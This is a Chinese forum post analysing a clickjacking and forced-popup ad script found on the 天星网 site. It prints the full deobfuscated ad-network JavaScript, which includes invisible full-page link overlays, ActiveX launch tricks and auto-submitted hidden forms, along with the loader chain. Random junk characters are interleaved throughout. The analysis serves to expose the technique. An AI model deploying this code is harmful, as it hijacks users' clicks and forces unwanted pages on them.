国内也有牛人啊。很有用的。

小狠

天星网ClickJacking点击劫持分析
# N: I0 K) q" h8 n3 s( whttp://www.21tx.com/ 天星网
我得联系联系作者
刚好打开这个站，发现第一次点击会弹窗，然后就不会，清除下COOKIE，又继续了，然后查看源代码，也没什么奇葩的。
  q0 I! b% R/ j  s7 Whttp://www.lxting.com/script/popup/v1_min.js
; J! D: `4 r5 u
' z. W* F6 N3 x6 u" c这个是锁定到底JS脚本，
; X# o. X# c6 O8 L: X# T! _+ ~解密后的代码

1. (function() {
   2 ^! p+ r4 i6 N/ }) [' ?( m
2.     var aa_url = window.ytpp_url;
   
3.     var ua = navigator.userAgent;
   
4.     var form_div = document.createElement('div');
   . B) r) T5 [( Z) m9 Q. j& K
5.     var form_pd = 0;
   
6.     var browser = {
   6 K& @8 Z( h7 ^
7.         ie: /msie/i.test(ua),
   $ Z  T" i, g+ j- E! H5 h
8.         ie6: /msie 6/i.test(ua),
   % I: p9 L8 i( S/ m
9.         ie7: /msie 7/i.test(ua),
   * l! t3 _: x  a1 \4 {( H
10.         ie8: /msie 8/i.test(ua),
    . N. |3 m; l  x: Q
11.         ie9: /msie 9/i.test(ua),
    / c9 P0 ]" X+ S
12.         360 : /360se/i.test(ua),
    
13.         sogou: /;?se.+?MetaSr/i.test(ua),
    
14.         maxthon: /Maxthon/i.test(ua),
    
15.         tt: /TencentTraveler/i.test(ua),
    
16.         ff: /firefox/i.test(ua),
    
17.         webkit: /AppleWebKit/i.test(ua),
    * I5 ]/ _+ ^+ l. {) e; E
18.         opera: /Opera/i.test(ua),
    3 `7 P; d8 r: M9 F# G2 `- I% m
19.         qqbrowser: /QQBrowser/i.test(ua),
    
20.         cr: /chrome/i.test(ua),
    5 y7 M. L- T4 B
21.         gg: window.chrome,
    0 u2 r* N0 ]; f* F' G
22.         theworld: /Theworld/i.test(ua)
    
23.     };
    
24.     var _setting = "";
    ) I& Y7 U9 T' h6 ~, I/ X
25.     var _ct = 0;
    
26.     var _le = 0;
    & X# t7 N7 R* V, F
27.     var _pd = 1;
    
28.     var _pd2 = 0;
    8 t8 Z7 v* p) d  E( r- P- o
29.     var _pc = 1;
    4 G) f6 U$ z1 L9 T: V) g% f* x; r
30.     var _pc2 = 1;
    
31.     var _pco = 0;
    
32.     var _pta = 0;
    
33.     var _ptb = 0;
    $ [* d* \* y& Y
34.     var _pt2a = 0;
    , b: r% u' Y" M* ^/ |
35.     var _pt2b = 0;
    3 \3 B+ b: X; n, ^
36.     var _pt3a = 0;
    
37.     var _pt3b = 0;
    
38.     var _pt4a = 0;
    
39.     var _pt4b = 0;
    ! t, I" l5 A) x5 u+ v0 ?
40.     var _pt5a = 0;
    
41.     var _pt5b = 0;
    ; w& Y; g. d% c, O
42.     var _pt6a = 0;
    
43.     var _pt6b = 0;
    5 n8 {, U8 t4 h" r4 P
44.     var _pt7a = 0;
    3 O% k2 X8 Z0 N" b
45.     var _pt7b = 0;
    
46.     var _pt8a = 0;
    
47.     var _pt8b = 0;
    : @+ j, D7 I& _; N7 |
48.     var _pt9a = 0;
    2 }- O4 N; R) v: P/ \+ g
49.     var _pt9b = 0;
    
50.     var _pt10a = 0;
    
51.     var _pt10b = 0;
    1 k( h* u! Q8 u' N$ Y
52.     var _po = 0;
    # y% L. o* j3 g* J& v
53.     var _poo = 0;
    
54.     var ckn, ckt;
    
55.     var ads = 0;
    
56.     function b(w) {
    
57.         var s = w + "=";
    
58.         var r = "";
    # `& a/ _' S2 H% c
59.         var o = 0;
    + T/ I9 |% E* K. j( u5 I
60.         var d = 0;
    
61.         var p = document.cookie;
    ' e7 @; F  d' P# J+ I) y. c! @  y
62.         if (document.cookie.length > 0) {
    4 u3 E) K- L& v1 `6 o2 Y
63.             o = document.cookie.indexOf(s);
    
64.             if (o != -1) {
    
65.                 o += s.length;
    ! ?: X8 ^/ g3 d# e( E
66.                 d = document.cookie.indexOf(";", o);
    0 D7 @' y/ p* [7 V/ V
67.                 if (d == -1) d = document.cookie.length;
    
68.                 r = unescape(document.cookie.substring(o, d))
    % V* [) l1 }) J: o5 a7 c
69.             }
    ! A4 `7 n  [+ t, L
70.         }
    ; E9 G5 i+ O: u
71.         return r
    $ _' ~1 j4 {$ i3 }# f2 J3 g8 V
72.     };
    * D- L+ K8 O: P8 s& u
73.     function p(w, p, v) {
    ( y* T  X  V; w( c
74.         var t = 30;
    
75.         try {
    $ z; t% A. h/ F) A4 O! z# n9 n1 L
76.             t = parseFloat(p) * 1
    6 B- X, r  V6 I
77.         } catch(e) {
    . ?/ q% {" M) {7 q
78.             t = 30
    
79.         }
    / ~* O  m3 |$ J
80.         if (isNaN(t)) t = 30;
    ' @" d. p, X3 p7 ^% x* w
81.         var then = new Date();
    ; C; p# t  B4 M3 j4 }6 N
82.         then.setTime(then.getTime() + t * 60 * 1000);
    % q2 l% G; x5 M3 |  K2 b9 [
83.         document.cookie = w + '=' + v + ';expires=' + then.toGMTString() + ';path=/;'
    
84.     };
    3 D/ e. r7 p. h! u
85.     function init() {
    
86.         _setting = ytpp_sti;
    
87.         if (getp(_setting, "CT")) {
    # J4 l1 k5 P; J7 c% X7 W, _4 K
88.             _ct = getp(_setting, "CT")
    
89.         }
    
90.         if (getp(_setting, "LE")) {
    
91.             _le = getp(_setting, "LE")
    2 B! K2 s1 W9 B! m! R
92.         }
    
93.         if (getp(_setting, "PD2")) {
    8 _8 |$ `9 m& f( \* f8 K$ K
94.             _pd2 = getp(_setting, "PD2")
    7 W( b3 K5 c7 ?3 }. b
95.         }
    + j: d* d* U2 ]: B! R
96.         if (getp(_setting, "PC2")) {
      y) W) Z; V. K* R$ S9 B  O1 I( h+ j
97.             _pc2 = getp(_setting, "PC2")
    0 b2 H1 q8 X! K" g) a
98.         }
      p' N$ g/ o. v1 R
99.         if (getp(_setting, "PCO")) {
    8 H/ Q+ R! K) {/ r$ r' q+ Q
100.             _pco = getp(_setting, "PCO")
     
101.         }
     4 ?3 f. j7 q2 I8 e( \
102.         for (var i = 1; i <= 10; i++) {
     * c  Q1 l7 b# R" x; s7 g
103.             var n = i == 1 ? "": i;
     
104.             if (getp(_setting, "PT" + n)) {
     8 x  J& ^9 j! M8 @2 L9 g) t
105.                 eval("var _pt" + n + " = getp(_setting, 'PT" + n + "').split(',');");
     0 V  Y: ^7 x. D, h
106.                 eval("_pt" + n + "a = _pt" + n + "[0];");
       L5 ~5 D6 ~1 c0 n8 i8 Z
107.                 eval("_pt" + n + "b = _pt" + n + "[1];")
     4 |0 E6 I$ \! y
108.             }
     & K& h$ X6 F" e6 z$ j' ^/ X! D
109.         }
     
110.         if (getp(_setting, "PO")) {
     2 f: Q4 ^! c0 g, D4 L; K" L( v  P5 s9 S
111.             _po = getp(_setting, "PO")
     
112.         }
     1 H! @, G2 w! h8 [+ }  ?/ ^
113.         if (getp(_setting, "POO")) {
     
114.             _poo = getp(_setting, "POO")
     
115.         }
     6 P2 V$ ?: l! v/ H/ T1 f" Y
116.         if (_pco == 1 || _poo == 1) {
     / G' ?5 c/ W9 z
117.             if (_poo == 1) {
     
118.                 _pco = 0
     
119.             } else {
     ' d2 T0 i/ m/ `
120.                 _poo = 0
     
121.             }
     " ~* ?) p/ D& N7 f7 r, h8 a# x
122.             _pd = _pd2 = _pc = _pc2 = _po = _pta = _ptb = 0;
     ; M: u9 ~- ~& W3 D/ F9 G
123.             for (var i = 2; i <= 10; i++) {
     ! e" p; U0 p8 N! K6 V
124.                 eval("_pt" + i + "a = _pt" + i + "b = 0;")
     
125.             }
     ; t0 j: ^/ M  y
126.         }
     6 q; B, {( @6 ]" K6 L! s/ l
127.     };
     
128.     function getp(s, p) {
     
129.         var i = s.indexOf(p + ":");
     7 F/ y7 `* s1 Q5 T5 B% F# c3 o' H
130.         if (i >= 0) {
     
131.             return s.substr(i + p.length + 1, s.substr(i).indexOf(";") - p.length - 1)
     0 x2 {- A0 d; s' Z- d- _6 U& {
132.         }
     8 M' K$ }" \& c$ S
133.     };
     , r" {# L" E' N8 W+ U
134.     function event(e, event, func, act) {
     ; ~' a8 C/ h" v1 p8 j3 f7 b, Y
135.         if (browser.ie) e[act === undefined ? 'attachEvent': 'detachEvent']('on' + event, func);
     6 N# \% y: Z4 Z; p
136.         else e[act === undefined ? 'addEventListener': 'removeEventListener'](event, func, false)
     8 }: A+ C( I6 M4 x: e" ]4 K
137.     }
     
138.     function pop(url, param) {
     ' B9 m5 U& ^* L6 t8 n
139.         if (!document.body) {
     
140.             return setTimeout(function() {
     2 A% W  B. H. O% W/ \4 x. f
141.                 pop(url, param)
     
142.             },
     
143.             13)
     
144.         }
     
145.         try {
     ( U; s: f0 P) J  K+ V9 J% H2 W! Z
146.             if (browser['cr'] && browser['gg']) {
     
147.                 try {
     
148.                     hrefopen(url)
     - G7 U  }: g3 p. C8 _: w
149.                 } catch(e) {
     1 A- M4 V! O( j" u7 e# E
150.                     a_pop(url)
     
151.                 }
     0 n+ D- P! k7 n1 _) _$ Z( f  v
152.             } else if (browser['webkit'] && browser['maxthon']) {
     
153.                 if (!func(url)) {
     
154.                     try {
     ! l$ F. `$ V. y. N9 O4 r$ S2 }! ?
155.                         form_pop(url);
     , h' W* w& n% c) }, B
156.                         a_pop(url)
     ' f1 X7 a* v1 i  _. Y
157.                     } catch(e) {}
     
158.                 }
     
159.             } else if (browser['tt']) {
     # \( Y/ L( y) d2 d- P. S
160.                 try {
     
161.                     object_pop(url)
     ; c+ F) z7 u" s  f% }) ]
162.                 } catch(e) {
     ; f- t5 s# L0 K; N& n6 j! F, I
163.                     a_pop(url)
     . A! m6 e. {) Q' n, ~* @
164.                 }
     
165.             } else if (browser['sogou']) {
     
166.                 if (!func(url)) {
     # n4 J* `5 u1 h  @6 w7 @7 t2 ~
167.                     try {
     5 D( }5 B1 l( ]% C6 ~# j5 h
168.                         a_pop(url)
     
169.                     } catch(e) {}
     
170.                 }
     * X4 o4 m: {  |3 c8 }7 k
171.             } else if (browser['webkit'] && browser['qqbrowser']) {
     
172.                 if (!func(url)) {
     
173.                     try {
     : G: D, E; f$ M2 @$ m$ q( {- V
174.                         form_pop(url)
     5 O$ h  R' `) d
175.                     } catch(e) {
     % F1 x: V& u  [7 u9 \8 h& M
176.                         click_pop(url)
     7 E9 u1 D1 J; U6 \- v9 L; `% s  b( N
177.                     }
     
178.                 }
     
179.             } else if (browser['webkit'] || browser['opera']) {
     
180.                 try {
     ) d# j1 M9 |; E  p2 m7 \) e
181.                     form_pop(url);
     
182.                     a_pop(url)
     1 v% f# h6 x/ j3 }; x
183.                 } catch(e) {}
     / b3 ?" Z; i  u6 F; b: }4 b
184.             } else if (browser['theworld'] && browser.ie6) {
     ! n/ j( z. p2 Z% G! g+ `# n
185.                 if (!object_pop2(url)) {
     
186.                     a_pop(url)
     " ~3 G; S" [8 C: _% r& F
187.                 }
     - F0 m$ z& _: t% m7 e
188.             } else if (browser['theworld'] && browser.ie8) {
     
189.                 if (!func(url)) {
     2 X! m0 x& O9 ]
190.                     try {
     ( M* v( b5 \  F
191.                         object_pop(url)
     , ~" {& ~0 \! U) P3 `
192.                     } catch(e) {
     " m: b/ f& H9 X
193.                         click_pop(url)
     1 p9 I& D& \4 M
194.                     }
     , F% z' y/ [) n+ p. {* c
195.                 }
     
196.             } else if (browser.ie6) {
     ; q- c# `4 k8 d! R9 M+ e2 f
197.                 if (!func(url)) {
     
198.                     object_pop2(url)
     
199.                 }
     9 _( k& ]3 R$ V4 f; O+ G
200.             } else if (browser.ie8) {
     
201.                 if (!func(url)) {
     
202.                     try {
     + w+ W3 N7 N8 {0 N8 R! R5 |+ Y
203.                         object_pop(url)
     3 [) a: t6 }3 D0 _! k- `
204.                     } catch(e) {
     ; h2 ]% L4 `0 T0 v) F( V1 o! t
205.                         document.onclick = function() {
     
206.                             func(url);
     
207.                             document.onclick = null
     9 |0 B; s5 P& E: B
208.                         }
     
209.                     }
     0 }. A+ l# t( f. |
210.                 }
     
211.             } else if (browser['ie']) {
     6 ~( p1 y3 h/ A9 S- {
212.                 try {
     
213.                     object_pop(url)
     / ?$ r$ \! h# R5 W8 a5 }* a- p: c
214.                 } catch(e) {
     
215.                     click_pop(url)
     
216.                 }
     : c1 O4 `8 Y4 q1 A8 J1 V
217.             } else if (browser['ff']) {
     
218.                 if (!func(url)) {
     6 i9 L" [* W6 p; I+ \
219.                     click_pop(url)
     
220.                 }
     
221.             } else {
     & o( [  c, z, i8 z# h6 f
222.                 if (!func(url)) {
     
223.                     click_pop(url)
     
224.                 }
     7 s$ @. [1 T9 b- b+ l# `- ~& u
225.             }
     ) q4 C+ n' j! Z0 Q% X% P
226.         } catch(e) {
     
227.             if (browser.ie7 || browser.ie8 || browser.ie9 || browser['qqbrowser']) {
     ' v$ |4 i4 ~6 p7 b
228.                 click_pop(url)
     
229.             } else {
     
230.                 a_pop(url)
     
231.             }
     ( r6 L' F1 j; ~1 ]& N& |
232.         }
     
233.     }
     
234.     function object_pop(url, param) {
     & H6 F$ Q) {: ?% j& \: w- ~0 j
235.         var object = document.createElement('object');
     
236.         object.setAttribute('classid', 'CLSID:6BF52A52-394A-11D3-B153-00C04F79FAA6');
     
237.         object.style.cssText = 'position:absolute;left:1px;top:1px;width:1px;height:1px;';
     
238.         append(object);
     
239.         object.launchURL(url);
     & i$ v: B3 Z/ }+ h) V* l: i6 c- f& O
240.         ads++;
     4 \/ O$ N0 _4 @3 [# {5 }
241.         p(ckn, ckt, ads)
     # z6 [. m3 v; l  j
242.     }
     
243.     function object_pop2(url, param) {
     8 s% `* g8 P$ ^5 m* d
244.         var object2 = document.createElement('object');
     
245.         object2.setAttribute('classid', 'clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A');
     5 w3 k+ _( _2 F- A. |' M1 a
246.         object2.style.cssText = 'position:absolute;left:1px;top:1px;width:1px;height:1px;';
     0 I) Y9 ]* t' N3 ]  Y
247.         append(object2);
     
248.         for (var i in object2) {
     
249.             try { (function(o) {})(object2[i])
     
250.             } catch(e) {}
     
251.         }
     / k8 Q* I# i" e! O  ^
252.         setTimeout(function() {
     / Y( w! o$ ]" C7 C1 r# j  R3 [5 m
253.             object2.DOM.Script.open(url, '_blank', '')
     
254.         },
     
255.         500);
     
256.         ads++;
     
257.         p(ckn, ckt, ads)
     & A% E9 _0 q2 ]& Q
258.     }
     $ G* w6 \; R* F( o2 Q
259.     function append(e) {
     - Y, y$ b3 A& V4 g$ c
260.         for (var t in {
     
261.             body: 1
     8 H- C) |3 N6 C2 I/ M
262.         }) {
     $ j4 p5 g) b2 y
263.             var ele = document.getElementsByTagName(t);
     / w3 r3 ]# d- o$ E+ H
264.             for (var i = 0; i < ele.length; i++) {
     ! B* Y" u6 P. i" V6 R6 a, K
265.                 ele[i].insertBefore(e, ele[i].firstChild);
     1 d+ N8 W0 o" ~* ~/ |
266.                 return
     7 }* }, L5 ]+ I; u9 }- M* i
267.             }
     9 Y7 \! k) }* N3 y  v0 e
268.         }
     
269.     }
     
270.     function hrefopen(url) {
     0 p$ s8 T1 x0 q' K: Z- H. N( i. O
271.         try {
     
272.             var c = document.createElement("a");
     
273.             c.setAttribute("href", url);
     $ B  D, ^1 T% W# l# F2 O2 F- I
274.             c.setAttribute("target", "_blank");
     
275.             c.setAttribute("style", "display:none;");
     
276.             var b = document.createEvent("MouseEvents");
     ! }- v" B* S& p0 B& w- `# |. }7 k
277.             b.initMouseEvent("click", false, false, window, 0, 0, 0, 0, 0, true, false, false, false, 0, null);
     : E6 {0 q" D( E' D
278.             c.dispatchEvent(b);
     
279.             ads++;
     8 X! X0 b* i- N& ?* u
280.             p(ckn, ckt, ads);
     " e3 w( W: u: E) C  C) i/ F
281.             return true
     0 c6 Z7 M4 o$ e7 x2 `
282.         } catch(q) {
     
283.             return false
     
284.         }
     1 Q* l) [& T6 r2 R0 B+ }
285.     }
     
286.     function form_pop(url) {
     - L( E) b: H8 q  ^# w
287.         form_div.setAttribute('id', '__unionsky_push_d_object_box__');
     
288.         form_div.setAttribute('style', 'display:none');
     
289.         var form = document.createElement('form');
     
290.         form.setAttribute('action', aa_url);
     
291.         form.setAttribute('method', 'post');
     
292.         form.setAttribute('name', '__unionsky_push_d_form_box__');
     
293.         form.setAttribute('target', '_blank');
     
294.         form.setAttribute('style', 'display:none');
     
295.         var sinput = document.createElement('input');
     
296.         sinput.setAttribute('style', 'display:none');
     
297.         sinput.setAttribute('type', 'submit');
     & A' L/ c: c0 s. F* R' ~! y& L% W* Z
298.         sinput.setAttribute('id', '_sumit_2app');
     
299.         form.appendChild(sinput);
     
300.         form_div.appendChild(form);
     # p: l/ P6 @) B; G$ ~2 x
301.         append(form_div);
     
302.         var unionsky_from = document.forms["__unionsky_push_d_form_box__"];
     
303.         try {
     2 A2 E4 q, h7 x% F
304.             document.getElementById("_sumit_2app").click()
     3 V, A# Q& c$ N3 d) W) P
305.         } catch(e) {
     
306.             event(document, 'keyup',
     
307.             function(e) {
     
308.                 if (document.getElementById('__unionsky_push_d_object_box__') == null) {
     
309.                     return
     
310.                 };
     
311.                 e = e || window.event;
     
312.                 e.canceBubble = true;
     . y/ y4 e! B6 H/ Q
313.                 event(document, 'keyup', arguments.callee, true);
     0 e; \4 z" Q; b8 ?) m, A" B
314.                 form_pd = 1;
     
315.                 unionsky_from.submit()
     
316.             })
     
317.         }
     
318.     };
       ]9 P4 H: R% k' _- o
319.     function click_pop(url, param) {
     
320.         event(document, 'mouseup',
     
321.         function(e) {
     
322.             e = e || window.event;
     
323.             e.canceBubble = true;
     
324.             event(document, 'mouseup', arguments.callee, true);
     
325.             func(url, param);
     
326.             ads++;
     9 R9 g+ m8 W) M, g+ D+ r
327.             p(ckn, ckt, ads)
     ' @7 A! u6 E, N7 I
328.         })
     , d) M# D4 Z( `, j8 @6 C) ^& t) P8 y
329.     };
     
330.     function a_pop(url) {
     * p: _# d- H, y
331.         if (ytpp_plid == 166028) {
     
332.             return
     
333.         }
     
334.         if (!document.body) {
     
335.             return setTimeout(function() {
     - y& T' m; F, S# p) l
336.                 a_pop(url)
     
337.             },
     4 P6 n' }" h3 q6 |: O6 ?; }
338.             13)
     6 Z7 P5 w" y. p: h$ P
339.         }
     0 r' O) r. ]( t/ _0 j% C! g$ Y
340.         var a = document.createElement("a");
     % l& H8 C" E& F8 r" w4 Z# f9 o
341.         a.href = url;
     2 a0 C# Z; \) Y2 E: ~+ Q
342.         a.target = "_blank";
     
343.         var div = document.createElement('div');
       E3 z6 A- M9 I1 e. m9 K0 z
344.         div.style.backgroundColor = '#fff';
     
345.         a.appendChild(div);
     
346.         append(a);
     3 \$ V& _/ Z6 c. A
347.         var as = a.style;
     $ W9 O$ Q; C/ G5 C/ u
348.         as.position = "absolute";
     
349.         as.zIndex = '2147483647';
     
350.         as.display = "block";
     
351.         as.top = "0px";
     
352.         as.left = "0px";
     " \5 Q3 s8 V- e# g& J7 f3 g% C
353.         as.cursor = 'default';
     & Z- A. A% U1 O3 Y" \: n
354.         as.opacity = "0";
     
355.         as.filter = "alpha(opacity:0)";
     . m0 d# d; @& B* {
356.         var m = setInterval(function() {
     ; e5 g( `8 z7 G' B: e, f1 k3 N
357.             if (form_pd == 1) {
     , o" l: s% m" {- C" t
358.                 a.parentNode.removeChild(a);
     4 Q  ~) U: R% ^9 L
359.                 clearInterval(m);
     
360.                 return
     
361.             }
     
362.             a.style.zIndex = '2147483647';
     6 y" ~$ X/ ]7 z' X
363.             var d = (document.compatMode.toLowerCase() == 'css1compat') ? document.documentElement: document.body;
     
364.             a.style.top = Math.max(document.documentElement.scrollTop, document.body.scrollTop) + 'px';
     & q' V$ s% |7 d* Y
365.             div.style.width = Math.min(d.clientWidth, d.scrollWidth) + 'px';
     
366.             div.style.height = d.clientHeight + 'px';
     / ]' ]4 g+ w- a! P8 f' Y" {
367.             if (browser['ie']) {
     
368.                 try {
     
369.                     var divs = document.body.childNodes;
     
370.                     for (var i = 0; i < divs.length; i++) {
     
371.                         if (!divs[i]['style']) {
     
372.                             continue
     ! Q+ l, k- C% h: I! J$ B' V' l; a6 o
373.                         }
     ; H4 y: S; C! Y1 p: Y4 j- j
374.                         var _i = parseInt(divs[i].style.zIndex);
     
375.                         if (_i && divs[i] != a && _i == 2147483647) {
     
376.                             divs[i].style.zIndex = _i - 1
     
377.                         }
     2 z. `* a* f) f' V! b
378.                     }
     
379.                     a.style.zIndex = '2147483647'
     1 V' B! W* X' L0 u' a
380.                 } catch(e) {}
     ; R2 r! b, e; c
381.             }
     7 `; }1 r) E! X
382.         },
     
383.         120);
     
384.         a.onclick = function(e) {
     
385.             if (document.getElementById('__unionsky_push_d_object_box__') != null) {
     0 W7 f' y! m) z5 C! c% @  `
386.                 form_div.parentNode.removeChild(form_div)
     
387.             }
     + S. t0 M4 @5 r9 K
388.             e = e || window.event;
     
389.             e.cancelBubble = true;
     
390.             setTimeout(function() {
     ) `9 k: y5 c5 y' F/ e2 d# p
391.                 a.parentNode.removeChild(a)
     1 {1 K7 w( k' A
392.             },
     8 j" A8 r4 Z$ r$ U5 H1 f* C
393.             200);
     9 P4 L; w8 ~5 F
394.             clearInterval(m);
     6 V  X  D8 a2 Z
395.             ads++;
     
396.             p(ckn, ckt, ads)
     9 [' O4 Y4 Q/ g) P. `1 ~8 k' j
397.         };
     ( X& |! I& U- M& [3 e
398.         event(a, 'mouseup',
     4 o3 m# O6 p5 `, U; Z% P& _
399.         function(e) {
     6 m: F2 l2 `' J+ \9 ]: r
400.             e = e || window.event;
     
401.             e.cancelBubble = true
     5 B' \" ]% U- c2 b9 K* P' A
402.         })
     
403.     }
     
404.     function func(url, param) {
     
405.         var f = window[String.fromCharCode(111, 112, 101, 110)];
     , f  D" K) Y1 O' i% k/ g: r4 N: y
406.         var w = f(url, '_blank', 'left=0,top=0,toolbar=yes,location=yes,status=yes,menubar=yes,scrollbars=yes,resizable=yes,width=' + screen.width + ',height=' + screen.height);
     
407.         if (w) {
     
408.             ads++;
     
409.             p(ckn, ckt, ads)
     ; p3 f5 q4 D$ V! k
410.         };
     
411.         return w
     6 {3 S- N6 r4 x2 G9 Z+ ?
412.     }
     + @$ B$ p  \9 V% A+ V
413.     function fstart(url) {
     3 C2 T1 Y2 i. K
414.         init();
     * u( t6 C7 q/ Y. [4 ~2 b4 R; h
415.         if (_ct >= 0) {
     
416.             ckn = "YITIAN_NUM";
     0 V- t5 D* ?) C- k
417.             ckt = _ct
     
418.         } else {
     ' o2 E# Z; F; X: n% a) G) g
419.             ckn = "YITIAN_ALL";
     2 a2 f, g9 ^* X+ L- ]6 B3 f5 s/ D
420.             ckt = Math.abs(_ct)
     ! @) `/ c  b% A
421.         }
     
422.         if (ckt > 0) {
     
423.             if (b(ckn)) {
     
424.                 try {
     # Z+ q7 Q! ^8 p+ o' {- {
425.                     ads = parseFloat(b(ckn))
     
426.                 } catch(q) {}
     
427.             }
     8 x$ T. d( t, O' O0 S" ^7 H7 V' Y% Z, f( G
428.         }
     
429.         if ((ads > 0 && ckn == 'YITIAN_ALL') || ads >= ytpp_ads) {
     
430.             return
     ' L+ F$ T9 r( t- z2 z8 J9 w
431.         } else {
     
432.             if (_le > 0) {
     
433.                 setTimeout(go(url), _le * 1000)
     
434.             } else {
     
435.                 go(url)
     & ^( O- M3 S8 w% O
436.             }
     ) Q  L2 b  {" e' Y( Z+ P) t- O
437.         }
     / I" g0 p% g1 \3 b- z, t2 c$ x2 R6 a
438.     }
     
439.     function go(url) {
     
440.         if (_poo == 1) {
     
441.             try {
     % s' P5 P  @9 O/ D  x$ ~- V1 x
442.                 func(url)
     % l1 Q: \) p2 t9 K
443.             } catch(q) {}
     3 [6 j  |4 {2 c& ?$ I- u* ^+ X3 \1 r
444.         } else if (_pco == 1) {
     
445.             a_pop(url)
     6 X1 `- n2 b+ Z5 M
446.         } else {
     
447.             if (_pd == 1) {
     0 p, o# S. h  Q2 }" t
448.                 setTimeout(function() {
     
449.                     pop(url, {
     
450.                         a: 1,
     # s: t" T  n5 g/ ^7 c
451.                         b: 2
     
452.                     })
     
453.                 },
     0 V' S1 g( V5 c
454.                 300)
     & b, @2 p" X% I+ ]
455.             }
     # Y3 X1 r8 x- v1 Y- B! t5 Z% v
456.             if (_pd2 > Math.random()) {
     & Z+ E' A6 P& f( x! I
457.                 setTimeout(function() {
     
458.                     pop(url, {
     8 ^  x. j" g* H2 m$ E
459.                         a: 1,
     
460.                         b: 2
     
461.                     })
     
462.                 },
     4 M+ \; u  O& P3 G5 H9 x( w4 s
463.                 300)
     
464.             }
     0 l; D4 ^# ~& I% U/ y* M2 j
465.             for (var i = 1; i <= 10; i++) {
     2 ^8 K3 E5 W* g
466.                 var n = i == 1 ? "": i;
     
467.                 if (eval("_pt" + n + "b") > Math.random()) {
     
468.                     setTimeout(function() {
     1 O$ o- E- g, ^' T, `  U
469.                         setTimeout(function() {
     4 `% f6 q$ l  c2 X
470.                             pop(url, {
     ( c+ g/ l- Q* G# u. J
471.                                 a: 1,
     
472.                                 b: 2
     
473.                             })
     
474.                         },
     
475.                         300)
     
476.                     },
     5 H) m) ~4 y$ z; M
477.                     parseInt(eval("_pt" + n + "a")) * 1000)
     # N9 E4 Y- H1 X, O, O+ H
478.                 }
     + f5 c7 D- Y$ f* F% [
479.             }
     - J4 h4 u6 K1 V' l* N
480.             if (_pc2 > Math.random()) {
     5 d: y) j# E/ N& C4 t
481.                 a_pop(url)
     ' n: F0 j, X4 U. w
482.             }
     
483.             if (_po > Math.random()) {
     ) \- C! w! F' Y- e- j
484.                 try {
     ) d6 ^! a, i9 G( ^
485.                     func(url)
     
486.                 } catch(q) {}
     
487.             }
     4 J2 D% A3 c7 J4 J2 }) y
488.         }
     
489.     };
     
490.     fstart(aa_url);
     
491.     event(window, 'beforeunload',
     
492.     function() {})
     ( Z; T! O1 I5 x" }. q3 R
493. })();

复制代码

通过浏览器抓包
URL从这里产生

http://play.unionsky.cn/show/?placeid=141830
6 D$ ]1 l9 J8 G% N3 X1 E- g
5 x; z* ?4 I2 R7 L% t

小狠

直接打开看不到什么东西
2 m+ d. E& g2 y% Q6 b/ Y) ?http://www.unionsky.cn/ 是属于这个广告联盟的
: h" t& |3 \. }; T6 P; ~' U# |我们直接分析抓包的内容
( C3 s" S  D  X" p2 A

var ytpp_r = encodeURIComponent(encodeURIComponent(document.referrer));
ytpp_r = ytpp_r.length > 1000 ? ytpp_r.substring(0, 1000) : ytpp_r;
var ytpp_u = encodeURIComponent(navigator.userAgent);
var ytpp_s = window.screen.width + "*" + window.screen.height;
var ytpp_l = navigator.browserLanguage || navigator.language;
- C8 N3 K7 X9 s/ I, `2 j! T% H0 Tvar ytpp_plid = 141830;
var ytpp_w = 0;
var ytpp_h = 0;
# ?" I. n$ \" n, tvar ytpp_url = "http://www.lxting.com/jmp/?p=f7xNjUO8Y80tB6KZyJ*jzRXjLuoZaOluHDv/IndJK1Z/mc0eKhM2QddlbEorugPwTAd08JIi*oDNYfaUSsF7QNBk3/CB3LW8&r=" + ytpp_r + "&u=" + ytpp_u + "&s=" + ytpp_s + "&l=" + ytpp_l + "&n=" + Math.random();
1 A7 `6 ?( C4 L. j) q0 N" M9 yvar ytpp_ads = 14;
  M! u. D0 c0 e9 O, f  y1 j: `var ytpp_sti = 'CT:-3D:1C:1C2:1T:60,1T2:100,1;';
document.write("<script language='javascript' type='text/javascript' src='http://www.lxting.com/pp/?p=f7xNjUO8Y81LybptxG2Vq//rYbtxQcP5GVnJOL07Ka8=&r=" + ytpp_r + "&u=" + ytpp_u + "&s=" + ytpp_s + "&l=" + ytpp_l + "&n=" + Math.random() + "'></script>");
document.write("<script language='javascript' type='text/javascript' src='http://www.lxting.com/script/popup/v1_min.js'></script>");

那么这个http://play.unionsky.cn/show/?placeid=141830又是从哪里被引用进去呢。
# Y( {0 e  X' h3 c3 ?- x0 W继续分析 发现这里

) W+ i; g% k/ j% I( Whttp://txsite.21tx.com/count/count.js

txcount_uid = 1;
txcount_uh = 0;
8 o4 v9 X3 Z: ^$ J* b- k' Ttxcount_uw = 0;
+ U( x, z& j) }+ k8 c$ T9 S/ Dtxcount_uah = 0;
txcount_uaw = 0;
txcount_ucd = 0;
+ j: f1 f  ~7 A3 V, J   
if (window.screen) {
# b3 V7 @7 J2 e/ c! |4 o- C- `3 D) Z  txcount_uh = window.screen.height;
4 _+ L, F- W6 C  txcount_uw = window.screen.width;
  txcount_uah = window.screen.availHeight;
  txcount_uaw = window.screen.availWidth;
! y$ a4 a' l' q  txcount_ucd = window.screen.colorDepth;
}
& l$ `5 _/ Z; C: d/ ]   
   
var url = "http://txsite.21tx.com/count/count.aspx";
8 d' `( D8 r0 Y- S8 Curl = url + "?u="+ txcount_uid;
; ]! J& X( F! ^: d+ I5 }//url = url + "&f=" + txcount_f;
; u0 E' n* [2 E; U7 c5 X8 Murl = url + "&k=" + txsite_pagekey;
2 ]( Q2 u; T. @' K1 f( a/ C2 C6 \//url = url + "&t=" + txcount_t;
url = url + "&l=" + escape(document.location);
url = url + "&r=" + escape(document.referrer);
url = url + "&uh=" + txcount_uh;
url = url + "&uw=" + txcount_uw;
8 M3 }4 r5 s8 ]; `  R9 Q( a9 vurl = url + "&uah=" + txcount_uah;
url = url + "&uaw=" + txcount_uaw;
url = url + "&ucd=" + txcount_ucd;
   
   
document.write("<script src=" + url + "><\/script>");
//document.write('<script src="http://s4.cnzz.com/stat.php?id=4820460&web_id=4820460" language="JavaScript" charset="gb2312"><\/script>');
   
document.write('<script src="http://s127.cnzz.com/stat.php?id=1474936&web_id=1474936" language="JavaScript" charset="gb2312"><\/script>');
   
   
/ L# D1 V- f' P1 n7 D& U% N. _5 \document.write("<script language='javascript' src='http://play.unionsky.cn/show/?placeid=141830'><\/script>");

